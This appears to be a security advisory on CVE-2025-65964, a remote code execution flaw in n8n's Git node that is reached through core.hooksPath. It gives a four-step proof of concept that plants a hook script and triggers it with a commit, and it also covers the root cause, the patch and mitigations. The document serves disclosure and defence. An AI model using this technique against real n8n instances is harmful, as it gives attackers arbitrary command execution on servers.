highJul 22, 2026

CVE-2025-65964: n8n Git Node Remote Code Execution via core.hooksPath

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Any authenticated n8n user who can build workflows can plant a malicious Git hook and trigger it through the Git node, running arbitrary commands as the n8n server process.

Packagen8n
Ecosystemnpm
Affected< 1.123.67
Fixed in1.123.67

The problem

The n8n Git node exposes an Add Config operation that writes arbitrary key-value pairs directly into a repository's .git/config with no validation.

An attacker sets core.hooksPath to a directory they control inside the cloned repo, drops an executable hook script there, then triggers any Git operation (commit, log, fetch). Git runs the hook as the n8n process user, giving full OS access.

Proof of concept

A working proof-of-concept for this issue in n8n, with the exact payload below.

bash
# Step 1 – clone any repo to get a working directory
# (Git Node: Clone operation, repoPath=/tmp/target)

# Step 2 – write the hook payload via Write Binary File node
# path: /tmp/.hooks/pre-commit
# content: #!/bin/sh\nid > /tmp/pwned.txt\n

# Step 3 – poison config (Git Node: Add Config operation)
# key:   core.hooksPath
# value: /tmp/.hooks

# Step 4 – trigger execution (Git Node: Commit or Log operation)
# Git automatically executes /tmp/.hooks/pre-commit with n8n process privileges

The root cause is CWE-78: the addConfig handler in packages/nodes-base/nodes/Git/Git.node.ts forwarded user-supplied key/value pairs to the underlying git library without any key allow-list. Setting core.hooksPath is a standard git mechanism, not an obscure bypass.

The patch at commit f69dfc6 blocks dangerous configuration keys (including core.hooksPath and related hook-triggering settings) from being written by the node, and enforces --no-hooks or equivalent safe flags on operations that could invoke hooks from a staged or cloned repository.

The fix

Upgrade n8n to 1.123.67, 2.31.5, or 2.32.1. If immediate upgrade is not possible: add n8n-nodes-base.git to the NODES_EXCLUDE environment variable to disable the Git node entirely, or restrict instance access to fully trusted users.

Reported by csuermann (n8n security team / reporter).

References: [1][2][3][4][5][6]

Related research